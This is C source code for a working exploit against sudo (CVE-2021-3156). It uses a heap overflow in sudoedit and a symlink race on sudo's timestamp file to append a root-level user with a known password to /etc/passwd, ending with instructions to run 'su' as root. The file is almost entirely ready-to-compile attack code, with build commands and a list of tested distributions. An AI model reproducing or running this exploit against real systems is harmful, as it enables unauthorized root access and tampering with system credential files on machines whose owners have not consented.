/* Exploit for CVE-2021-3156 with def_timestamp overwrite by sleepya This exploit requires: - glibc with tcache - at least 2 CPUs on target machine - sudo version 1.8.x (1.9.x write size is fixed) gcc -O2 -o exploit_timestamp_race exploit_timestamp_race.c -ldl Tested on: - Ubuntu 18.04 - Ubuntu 20.04 - Debian 10 - CentOS 8 - openSUSE 15.0 */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include // default sleep time for raceing. // sleep time is automatically adjusted while running // this value can be replaced by argv[1] #define DEFAULT_SLEEP_MS 4000 #define PASSWD_FILE "/etc/passwd" #define BACKUP_FILE "/tmp/passwd.bak" #define SUDO_PATH "/usr/bin/sudo" // for no locale-langpack, working dir length MUST be 0x28-0x37 to create chunk size 0x40 #define WORKING_DIR "/tmp/gogogo123456789012345678901234567890go" // user: gg, pass: gg #define PASSWD_LINES "gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash" #define A8 "AAAAAAAA" #define A10 A8 A8 #define A20 A10 A10 #define A40 A20 A20 #define A80 A40 A40 #define Ab0 A80 A20 A10 #define Ae0 A80 A40 A20 #define A200 A80 A80 A80 A80 #define A400 A200 A200 #define A800 A400 A400 #define A1000 A800 A800 #define A4000 A1000 A1000 A1000 A1000 #define A10000 A4000 A4000 A4000 A4000 #define CURDIR10 "././././././././././" #define CURDIR20 CURDIR10 CURDIR10 #define CURDIR40 CURDIR20 CURDIR20 #define CURDIR100 CURDIR40 CURDIR40 CURDIR20 // don't put "SUDO_ASKPASS" enviroment. sudo will fail without logging static char *senv_nopack[] = { "1234567" // Intention: no comma // struct loaded_l10nfile "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", // chunk metadata "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // filename "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // data "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // next A80 A20 A8 // Intention: no comma // struct loaded_l10nfile "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", // chunk metadata "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // filename "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // data "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // next A20 A10 A8 "1234567\\", "", // tsdir "\n" PASSWD_LINES "\n", "LC_MESSAGES=C.UTF-8@" A80 A20 A8 "12345", "LANG=C", "TZ=:", A10000, NULL }; // ubuntu based static char *senv_langpack[] = { "1234567" A10 A8 "1234567\\", "", // tsdir "\n" PASSWD_LINES "\n", "LC_MESSAGES=C.UTF-8@" A80 A20, "LANG=C", "TZ=:", A10000, NULL }; // opensuse static char *senv_bundle[] = { "123456\\", "", // tsdir "\n" PASSWD_LINES "\n", "LC_MESSAGES=C.UTF-8@" A80 A20, "LANG=C", "TZ=:", // sudoers.so (OpenSUSE) that linked with openssl is a mess. heap layout is changed every run. // set OPENSSL_ia32cap=0 to make predictable heap layout. "OPENSSL_ia32cap=0", A10000, NULL }; static void backup_passwd() { // backup if (system("cp " PASSWD_FILE " " BACKUP_FILE) != 0) { printf("Cannot backup passwd file\n"); exit(1); } if (system("echo '"PASSWD_LINES"' >> "BACKUP_FILE) != 0) { printf("Cannot append gg user in backup passwd file\n"); exit(1); } } static size_t get_passwd_size() { struct stat st; stat(PASSWD_FILE, &st); return st.st_size; } static char* get_user() { struct passwd *pw; pw = getpwuid(getuid()); if (!pw) { puts("Cannot get user name"); exit(1); } return strdup(pw->pw_name); } static int find_mode() { // find libc path Dl_info info; if (dladdr(exit, &info) == 0) { printf("Cannot find libc path\n"); exit(1); } // map libc to memory struct stat st; int fd = open(info.dli_fname, O_RDONLY); if (fstat(fd, &st) != 0) { printf("Cannot load libc\n"); exit(1); } void *addr = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); int mode = 1; // use 'e-langpa' in case of optimization if (memmem(addr, st.st_size, "e-langpa", 8) != 0) { mode = 2; } if (memmem(addr, st.st_size, "e-bundle", 8) != 0) { if (mode != 2) { printf("has no /usr/share/locale-langpack but has /usr/share/locale-bundle\n"); exit(1); } mode = 3; } munmap(addr, st.st_size); close(fd); return mode; } const char *alnum = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_"; int main(int argc, char **argv) { int sleep_us = DEFAULT_SLEEP_MS; if (argc > 1) sleep_us = atoi(argv[1]); size_t initial_size = get_passwd_size(); backup_passwd(); char realdir_name[2] = {0}; char link_timestamp_file[128]; char *user = get_user(); int null_fd = open("/dev/null", O_RDWR); if (null_fd == -1) { perror("open"); return 1; } char *sudo_argv[] = { "sudoedit", "-A", "-s", Ae0 "\\", NULL }; char tsdir[0x100] = {0}; strcpy(tsdir, CURDIR100); char *dir_ptr = tsdir + sizeof(CURDIR100) - 1; char **sudo_env; switch (find_mode()) { case 1: sudo_env = senv_nopack; sudo_env[79] = tsdir; break; case 2: sudo_env = senv_langpack; sudo_env[1] = tsdir; break; case 3: sudo_env = senv_bundle; sudo_env[1] = tsdir; sudo_argv[3] = A40 "\\"; break; default: exit(1); } mkdir(WORKING_DIR, 0750); if (chdir(WORKING_DIR) != 0) { perror("chdir"); return 1; } const char *curr_dir = alnum; sprintf(link_timestamp_file, "%c/%s", *curr_dir, user); int success = 0; struct stat st; mode_t old_mask = umask(0); for (int i = 0; i < 1000; ++i) { *dir_ptr = *curr_dir; realdir_name[0] = *curr_dir; link_timestamp_file[0] = *curr_dir; int pid = fork(); if (!pid) { execve(SUDO_PATH, sudo_argv, sudo_env); exit(0); } usleep(sleep_us); if (mkdir(realdir_name, 0777) == -1) { perror("mkdir"); } else if (symlink(PASSWD_FILE, link_timestamp_file) == -1) { perror("symlink"); } else { // all success. sudo will unlink it one time for (int j = 0; j < 5000; j++) { if (symlink(PASSWD_FILE, link_timestamp_file) == 0) { // success again printf("symlink 2nd time success at: %d\n", j); break; } } } waitpid(pid, 0, 0); if (get_passwd_size() != initial_size) { printf("[+] Success with %d attempts!\n", i); printf("succes with sleep time %d us\n", sleep_us); success = 1; break; } if (lstat(link_timestamp_file, &st) == 0) { if (S_ISLNK(st.st_mode)) { // symbolic link. create dir is too early printf("Failed. can cleanup\n"); sleep_us += 100; } else { // failed to create 2nd symbolic link printf("Failed to create 2nd symbolic\n"); } // cleanup and reuse dir if (unlink(link_timestamp_file) == 0) { rmdir(realdir_name); } else { // should never happen printf("Cannot remove symbolic link !!!\n"); exit(0); } } else { // sudo create a directory before us. cannot reuse this dir curr_dir++; if (*curr_dir == '\0') { printf("out of dir name\n"); exit(1); } printf("change dir to: %c\n", *curr_dir); // decrease sleep time if (sleep_us > 0) sleep_us -= 100; } } if (!success) { printf("exploit failed\n"); return 1; } umask(old_mask); // restore /etc/passwd with an extra line. cleanup WORKING_DIR. chdir("/"); system("echo gg | su -c \"cp "BACKUP_FILE " " PASSWD_FILE ";rm -rf " WORKING_DIR "\" - gg "); unlink(BACKUP_FILE); printf("now can use \"su - gg\" with 'gg' password to become root\n"); return 0; }